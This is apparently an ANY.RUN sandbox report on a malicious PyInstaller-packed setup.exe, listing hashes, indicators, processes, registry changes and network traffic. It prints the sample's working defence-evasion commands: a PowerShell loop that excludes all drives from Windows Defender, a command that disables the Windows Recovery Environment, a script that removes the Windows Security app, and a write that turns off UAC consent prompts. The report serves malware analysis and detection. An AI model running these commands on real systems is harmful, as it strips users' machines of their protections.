File name:

setup.exe

Full analysis: https://app.any.run/tasks/72922da6-c762-476f-8cf1-a46cb4bb98ef
Verdict: Malicious activity
Analysis date: June 18, 2025, 07:05:05
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto
generic
python
pyinstaller
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
MD5:

FD100EC6F3DD7FC22BE320A984E1AA7D

SHA1:

2DD31BF4813DC0E273FA5210C442D68876002F28

SHA256:

F16DF2BC688EE1E31CFD4040DED359006C73092FDC310FBD7A9BA4C023085CCC

SSDEEP:

98304:SShDa+jhZu8M4HmOVWjtKxgADpN25hAp42NAOQmMYS32afU9tto10wFsBRAbYpBL:4Xwa8YCp3pIwuuT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • setup.exe (PID: 6852)
      • setup.exe (PID: 6312)
      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • GENERIC has been found (auto)

      • setup.exe (PID: 6852)

    • Changes Windows Defender settings

      • setup.exe (PID: 4824)

    • Adds process to the Windows Defender exclusion list

      • setup.exe (PID: 4824)

    • Starts REAGENTC.EXE to disable the Windows Recovery Environment

      • ReAgentc.exe (PID: 2524)

  • SUSPICIOUS

    • Application launched itself

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • Starts POWERSHELL.EXE for commands execution

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • The process checks if current user has admin rights

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • Process drops python dynamic module

      • setup.exe (PID: 1760)
      • setup.exe (PID: 6852)

    • Process drops legitimate windows executable

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • Loads Python modules

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • The process drops C-runtime libraries

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • Executable content was dropped or overwritten

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Starts process via Powershell

      • powershell.exe (PID: 7060)

    • Checks a user's role membership (POWERSHELL)

      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4084)

    • Uses REG/REGEDIT.EXE to modify registry

      • powershell.exe (PID: 4684)

    • Hides errors and continues executing the command without stopping

      • powershell.exe (PID: 2032)

    • Script adds exclusion process to Windows Defender

      • setup.exe (PID: 4824)

    • Script adds exclusion path to Windows Defender

      • setup.exe (PID: 4824)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 6404)

    • There is functionality for taking screenshot (YARA)

      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • Detected use of alternative data streams (AltDS)

      • powershell.exe (PID: 6404)

    • The process creates files with name similar to system file names

      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 1332)
      • Dism.exe (PID: 6428)

    • Starts a Microsoft application from unusual location

      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 516)

    • Removes files via Powershell

      • powershell.exe (PID: 7104)

  • INFO

    • Checks supported languages

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)
      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 516)

    • Reads the computer name

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 3588)

    • Create files in a temporary directory

      • setup.exe (PID: 1760)
      • setup.exe (PID: 6852)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Reads the machine GUID from the registry

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • The executable file from the user directory is run by the Powershell process

      • setup.exe (PID: 1760)

    • The sample compiled with english language support

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 5372)
      • powershell.exe (PID: 6404)
      • conhost.exe (PID: 1056)
      • conhost.exe (PID: 4156)
      • powershell.exe (PID: 7104)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6404)

    • PyInstaller has been detected (YARA)

      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • Reads Environment values

      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 516)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 2032)

    • Changes the registry key values via Powershell

      • setup.exe (PID: 4824)

    • Reads the software policy settings

      • powershell.exe (PID: 6404)
      • slui.exe (PID: 4960)

    • Returns all items recursively from all subfolders (POWERSHELL)

      • powershell.exe (PID: 7104)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:01:11 16:20:26+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.35
CodeSize: 171008
InitializedDataSize: 94208
UninitializedDataSize: -
EntryPoint: 0xc200
OSVersion: 5.2
ImageVersion: -
SubsystemVersion: 5.2
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
173
Monitored processes
32
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start setup.exe setup.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs setup.exe setup.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs reg.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs dismhost.exe dism.exe dismhost.exe dism.exe dismhost.exe dism.exe dismhost.exe powershell.exe no specs conhost.exe no specs reagentc.exe no specs powershell.exe no specs conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
516C:\Users\admin\AppData\Local\Temp\2AC36299-DBC6-4FE7-A826-7F680687F7F8\dismhost.exe {6208CEE4-A346-4463-A0A2-11D8B0143406}C:\Users\admin\AppData\Local\Temp\2AC36299-DBC6-4FE7-A826-7F680687F7F8\DismHost.exe
Dism.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Host Servicing Process
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\2ac36299-dbc6-4fe7-a826-7f680687f7f8\dismhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1056\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1204powershell -Command "reagentc /disable"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
1332"C:\WINDOWS\system32\Dism.exe" /online /set-nonremovableapppolicy /packagefamily:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy /nonremovable:0C:\Windows\System32\Dism.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Image Servicing Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\dism.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1760"C:\Users\admin\AppData\Local\Temp\setup.exe" C:\Users\admin\AppData\Local\Temp\setup.exe
powershell.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
2032powershell -Command "foreach ($driveLetter in 'C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') { Add-MpPreference -ExclusionPath ${driveLetter}:\ -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess ${driveLetter}:\* -ErrorAction SilentlyContinue }"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
2524"C:\WINDOWS\system32\ReAgentc.exe" /disableC:\Windows\System32\ReAgentc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft Windows Recovery Agent
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reagentc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2804\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2976C:\Users\admin\AppData\Local\Temp\2442E812-11B8-4A7E-B098-3A49940762EC\dismhost.exe {35EF2486-0F11-4941-BC95-2D091FBEE8BF}C:\Users\admin\AppData\Local\Temp\2442E812-11B8-4A7E-B098-3A49940762EC\DismHost.exe
Dism.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Host Servicing Process
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\2442e812-11b8-4a7e-b098-3a49940762ec\dismhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
3092\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
42 433
Read events
42 356
Write events
12
Delete events
65

Modification events

(PID) Process:(6980) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications
Operation:writeName:ToastEnabled
Value:
0
(PID) Process:(6004) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Operation:writeName:ConsentPromptBehaviorAdmin
Value:
0
(PID) Process:(3588) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(6404) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deprovisioned\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Operation:delete keyName:(default)
Value:
(PID) Process:(2976) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(516) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\11000001
Operation:delete keyName:(default)
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\11000001
Operation:writeName:Element
Value:
0000000000000000000000000000000006000000000000004800000000000000715E5C2FA985EB1190A89A9B763584210000000000000000745E5C2FA985EB1190A89A9B7635842100000000000000000000000000000000
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\12000002
Operation:delete keyName:(default)
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\12000002
Operation:writeName:Element
Value:
\EFI\Microsoft\Boot\bootmgfw.efi
Executable files
330
Suspicious files
3
Text files
23
Unknown types
1

Dropped files

PID
Process
Filename
Type
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\VCRUNTIME140.dllexecutable
MD5:F34EB034AA4A9735218686590CBA2E8B
SHA256:9D2B40F0395CC5D1B4D5EA17B84970C29971D448C37104676DB577586D4AD1B1
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_asyncio.pydexecutable
MD5:33D0B6DE555DDBBBD5CA229BFA91C329
SHA256:A9A99A2B847E46C0EFCE7FCFEFD27F4BCE58BAF9207277C17BFFD09EF4D274E5
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_hashlib.pydexecutable
MD5:D4674750C732F0DB4C4DD6A83A9124FE
SHA256:CAA4D2F8795E9A55E128409CC016E2CC5C694CB026D7058FC561E4DD131ED1C9
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_multiprocessing.pydexecutable
MD5:A9A0588711147E01EED59BE23C7944A9
SHA256:7581EDEA33C1DB0A49B8361E51E6291688601640E57D75909FB2007B2104FA4C
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_ctypes.pydexecutable
MD5:1635A0C5A72DF5AE64072CBB0065AEBE
SHA256:1EA3DD3DF393FA9B27BF6595BE4AC859064CD8EF9908A12378A6021BBA1CB177
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_bz2.pydexecutable
MD5:86D1B2A9070CD7D52124126A357FF067
SHA256:62173A8FADD4BF4DD71AB89EA718754AA31620244372F0C5BBBAE102E641A60E
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_decimal.pydexecutable
MD5:20C77203DDF9FF2FF96D6D11DEA2EDCF
SHA256:9AAC010A424C757C434C460C3C0A6515D7720966AB64BAD667539282A17B4133
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\api-ms-win-core-datetime-l1-1-0.dllexecutable
MD5:DCAE341BA54F008862B979808FA03076
SHA256:24EFF95E03E5F29590D5ABA746171AD61F3E70A85ED2B1D7DB22BA21DC418E10
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\api-ms-win-core-console-l1-1-0.dllexecutable
MD5:E075B4FD5BDC7BA20F82E9EFA5D29044
SHA256:AB7BFF07CED56AB79895F7749F5DBA20BE8DBC8370B373D9B98178DF99B91854
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\api-ms-win-core-debug-l1-1-0.dllexecutable
MD5:40877B3395DD815C524062B6E1360755
SHA256:B6D1B07F5722C566C6E97E30012DFA5EA7E2307468BA5A466EEF6D6F0051BF47
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
17
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2120
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2940
svchost.exe
GET
200
23.209.209.135:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
3768
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6936
RUXIMICS.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1268
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
5944
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
SIHClient.exe
20.109.210.53:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.46
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.16.241.12
  • 2.16.241.19
whitelisted
www.microsoft.com
  • 2.23.246.101
  • 95.101.149.131
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
login.live.com
  • 40.126.32.134
  • 40.126.32.74
  • 40.126.32.138
  • 20.190.160.17
  • 40.126.32.76
  • 20.190.160.67
  • 20.190.160.65
  • 20.190.160.131
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
  • 40.91.76.224
whitelisted

Threats

No threats detected
Process
Message
powershell.exe
PID=6404 TID=5504 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Initialized GlobalConfig - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Enter DismInitializeInternal - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: Parent process command line: powershell -Command " $remove_appx = @(\"SecHealthUI\") $provisioned = Get-AppxProvisionedPackage -Online $appxpackage = Get-AppxPackage -AllUsers $eol = @() $store = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore' $users = @('S-1-5-18') if (Test-Path $store) { $users += $((Get-ChildItem $store -ea 0 | Where-Object { $_ -like '*S-1-5-21*' }).PSChildName) } foreach ($choice in $remove_appx) { if ('' -eq $choice.Trim()) { continue } foreach ($appx in $($provisioned | Where-Object { $_.PackageName -like \"*$choice*\" })) { $PackageName = $appx.PackageName $PackageFamilyName = ($appxpackage | Where-Object { $_.Name -eq $appx.DisplayName }).PackageFamilyName New-Item -Path \"$store\Deprovisioned\$PackageFamilyName\" -Force | Out-Null foreach ($sid in $users) { New-Item -Path \"$store\EndOfLife\$sid\$PackageName\" -Force | Out-Null } $eol += $PackageName dism /online /set-nonremovableapppolicy /packagefamily:$PackageFamilyName /nonremovable:0 | Out-Null Remove-AppxProvisionedPackage -PackageName $PackageName -Online -AllUsers | Out-Null } foreach ($appx in $($appxpackage | Where-Object { $_.PackageFullName -like \"*$choice*\" })) { $PackageFullName = $appx.PackageFullName New-Item -Path \"$store\Deprovisioned\$($appx.PackageFamilyName)\" -Force | Out-Null foreach ($sid in $users) { New-Item -Path \"$store\EndOfLife\$sid\$PackageFullName\" -Force | Out-Null } $eol += $PackageFullName dism /online /set-nonremovableapppolicy /packagefamily:$($appx.PackageFamilyName) /nonremovable:0 | Out-Null Remove-AppxPackage -Package $PackageFullName -AllUsers | Out-Null } } " - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
powershell.exe
PID=6404 TID=5504 Initialized SessionTable - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Input parameters: LogLevel: 2, LogFilePath: C:\WINDOWS\Logs\DISM\dism.log, ScratchDirectory: (null) - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: - DismInitializeInternal
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
setup.exe